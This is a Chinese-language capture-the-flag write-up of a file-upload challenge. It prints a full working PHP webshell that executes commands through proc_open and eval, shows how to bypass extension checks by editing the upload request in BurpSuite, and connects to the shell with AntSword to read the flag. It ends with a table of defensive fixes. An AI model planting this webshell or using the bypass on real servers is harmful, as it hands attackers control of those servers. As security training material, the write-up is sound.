CTF靶场实战1:文件上传漏洞攻击1
CTF靶场实战1:文件上传漏洞攻击1
来源: 某 CTF 靶场 · Web方向 · 250 pts
前置知识: 网安筑基:Web后端Part1——从PHP基础到文件上传与WebShell
本篇重点: 绕过客户端校验 + 服务端扩展名校验 + 获取WebShell + 拿下Flag
前情提要
在前面的文章中,我们已经初步了解了文件上传漏洞的原理、危害以及 WebShell 的基本形态。
本文,我们将通过一道真实的 CTF 靶场题目,完整复盘一次文件上传漏洞的实战攻击流程:从制作 WebShell,到绕过层层校验,再到用中国蚁剑连接目标服务器,最终拿到 Flag。
完整攻击链路:
上传伪装WebShell (.jpg) → BurpSuite拦截修改扩展名 → 上传成功
→ 中国蚁剑连接WebShell → 浏览服务器文件 → 读取flag.txt → 提交过关
第一步:读题 — 理解题目背景与目标
题目详情
题目名称:上传漏洞攻击(250 pts)
题目背景: 一家在线图片分享网站为了方便用户上传图片,提供了一个图片上传功能。但是,由于网站开发人员的疏忽,上传功能存在安全漏洞,允许上传可执行文件。你的任务是利用这个漏洞,上传一个Webshell,获取服务器的控制权限。
打开实例
点击「创建实例」后,获得靶场访问地址(由于为付费靶场,本文对靶场地址已进行脱敏处理):
ctf.XXXXXXXX.cn:37948


第二步:分析上传页面 — 寻找突破口
访问目标地址 ctf.XXXXXXXX.cn:37948,页面为典型的「在线图片分享网站」,仅包含一个文件上传表单。
突破口在哪里? 典型的文件上传漏洞场景中,最常见的漏洞点是:服务端对上传文件的扩展名和内容校验不足。我们需要制作一个伪装文件,配合 BurpSuite 拦截请求,验证服务端校验逻辑是否存在缺陷。

第三步:制作 WebShell — 武器化准备
什么是 WebShell?
WebShell 是运行在 Web 服务器上的后门脚本,攻击者通过它可以在服务器上执行任意系统命令。PHP 类型的 WebShell 配合 PHP 环境运行,是最常见的攻击手法之一。
本系列前文已详细介绍 WebShell 的两种形态,此处直接给出实战代码。
完整 PHP WebShell 代码
新建文件 Webshell.txt,内容如下:
具体代码如下(以下代码仅供参考学习,请勿用于任何未经授权的渗透测试):
<?php
// 系统命令执行核心函数(支持 proc_open)
// 以下代码仅供参考学习,请勿用于任何未经授权的渗透测试
function runcmd($cmd) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);
return $output;
}
}
// 支持蚁剑POST连接(密码cmd)
if(isset($_POST['cmd'])){
@eval($_POST['cmd']);
}
// 支持浏览器直接GET命令执行
if(isset($_GET['cmd'])){
echo "<pre>".runcmd($_GET['cmd'])."</pre>";
}
?>
这段 WebShell 包含三层功能:
| 功能 | 实现方式 | 使用场景 |
|---|---|---|
| 系统命令执行 | proc_open() 调用系统命令 |
浏览器直接 GET 传参 |
| 蚁剑连接支持 | eval($_POST['cmd']) |
中国蚁剑等管理工具连接 |
| 命令结果输出 | <pre> 格式化输出 |
直观查看命令执行结果 |
第四步:绕过前端校验 — BurpSuite 登场
第一层绕过:伪装文件扩展名
将 Webshell.txt 改名为 Webshell.jpg——此时文件系统层面它已经是 .jpg 后缀,可以骗过前端的文件类型检查。

选择文件并上传
在上传页面选中 Webshell.jpg,点击上传。
此时,Web 浏览器发送的 HTTP 请求中,文件后缀是 .jpg——这正是我们想要的伪装。
打开 BurpSuite,拦截请求
在上传之前,先打开浏览器代理插件(本案使用 FoxyProxy),将流量导向本地 BurpSuite:
- FoxyProxy 切换到 Burp(China) 代理
- BurpSuite 开启
Intercept on,开始拦截请求


拦截并修改请求 — 第二层绕过
切换到 Firefox 浏览器,选中 WebShell.jpg,点击上传。
BurpSuite 立即拦截到发往 http://ctf.XXXXXXXX.cn:37948/upload.php 的 POST 请求。
第一次拦截(伪装为图片上传):
POST http://ctf.XXXXXXXX.cn:37948/upload.php
Content-Type: multipart/form-data
filename="Webshell.jpg"
Content-Type: image/jpeg
此时,服务端可能只检查了 Content-Type 或扩展名,并未真正验证文件内容。我们需要将 Webshell.jpg 的扩展名改为 .php——这是绕过服务端扩展名校验的核心操作。
点击 Forward 放行第一个请求,再次拦截:
BurpSuite 再次拦截到同一上传请求,这一次我们直接修改关键字段:
# 修改前
filename="Webshell.jpg"
Content-Type: image/jpeg
# 修改后
filename="Webshell.php"
Content-Type: image/jpeg
将 filename 从 .jpg 改为 .php,同时 Content-Type 保持为 image/jpeg(伪装),然后点击 Forward 发送修改后的请求。


验证上传结果
页面返回:
文件 Webshell.php 已上传。

WebShell 上传成功!此时 Webshell.php 已存在于服务器的 /uploads/ 目录下。
关闭 BurpSuite 代理
上传完成后,关闭 Intercept off,恢复浏览器正常访问。
关键点: 修改的是 HTTP 请求中的
filename字段(用户可随意构造),而非文件本身的扩展名。前端骗过初筛,BurpSuite 骗过服务端校验,实现双层绕过。
第五步:连接 WebShell — 用中国蚁剑接管服务器
添加 WebShell 连接
打开中国蚁剑(AntSword),新建连接配置:
| 配置项 | 内容 |
|---|---|
| URL地址 | http://ctf.XXXXXXXX.cn:37948/uploads/Webshell.php |
| 连接密码 | cmd |
| 编码设置 | UTF-8 |
| 连接类型 | PHP |
点击「添加」,测试连接成功。

第六步:翻找 Flag — 拿下靶场权限
浏览服务器文件系统
蚁剑成功连接后,左侧展示服务器目录树(Linux 环境),我们一路定位到根目录 /。
蚁剑的文件管理界面显示了完整的 Linux 根目录结构:
/ → var/www/html/uploads → (Webshell.php 已在此)

切换到根目录 /,发现根目录下有一个关键文件:
flag.txt — 权限 0644,大小 42 字节

读取 Flag
双击 flag.txt 或在蚁剑中直接打开,文件内容为:
flag{17a26174-1aa2-4f52-83a9-XXXXXXXX}

这就是我们需要的 Flag!
第七步:提交 Flag — 完成挑战
回到 CTF 靶场题目页面,将 Flag 粘贴至提交框,点击「提交 flag」。
页面提示:该题目已被解出 ✅
恭喜通关!


技术总结:完整的攻击链路
┌─────────────────────────────────────────────────────────┐
│ 攻击链路全景图 │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 制作 WebShell (.php) │
│ └─ proc_open() + eval($_POST['cmd']) │
│ │
│ 2. 伪装扩展名 │
│ └─ 改名为 .jpg 骗过前端校验 │
│ │
│ 3. BurpSuite 拦截请求 │
│ └─ 修改 filename: .jpg → .php │
│ │
│ 4. 服务端未校验扩展名 │
│ └─ WebShell 被保存为 .php 可执行文件 │
│ │
│ 5. 中国蚁剑连接 WebShell │
│ └─ POST cmd=ls / → 成功执行系统命令 │
│ │
│ 6. 翻找服务器文件系统 │
│ └─ 定位到 /flag.txt │
│ │
│ 7. 读取 Flag 并提交 │
│ └─ flag{17a26174-1aa2-4f52-83a9-XXXXXXXX} │
│ │
└─────────────────────────────────────────────────────────┘
防御复盘:这道题暴露了哪些问题?
作为安全从业者,我们不仅要会攻击,更要理解防御。以下是本题场景中服务器存在的安全问题:
| 问题 | 位置 | 风险等级 | 正确做法 |
|---|---|---|---|
| 前端仅做文件扩展名检查 | 客户端JS | 高 | 前端检查不可靠,只能作为体验优化 |
| 服务端未校验文件扩展名白名单 | upload.php | 极高 | 应配置白名单(仅允许 .jpg/.png),拒绝 .php |
| 服务端未校验文件内容 | upload.php | 极高 | 使用 getimagesize() 或 exif_imagetype() 验证真实图片头 |
| 上传目录可执行 | /uploads/ | 高 | 上传目录应禁止 PHP 执行(.htaccess 或 nginx 配置) |
| 未随机化文件名 | upload.php | 中 | 使用 uniqid() + 随机字符串重命名上传文件 |
| 未限制上传文件大小 | upload.php | 低 | 配合服务器配置,限制单文件大小 |
靶场推荐
| 靶场 | 难度 | 特点 |
|---|---|---|
| DVWA | ★★ | 经典 Web 安全靶场,文件上传模块适合入门 |
| Upload-Labs | ★★~★★★ | 专注文件上传漏洞,20+ 关卡覆盖各种绕过姿势 |
| Vulhub | ★★★ | 容器化漏洞环境,支持 Docker 一键部署 |
本文仅供学习与研究使用,请勿用于未授权的渗透测试。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
所有评论(0)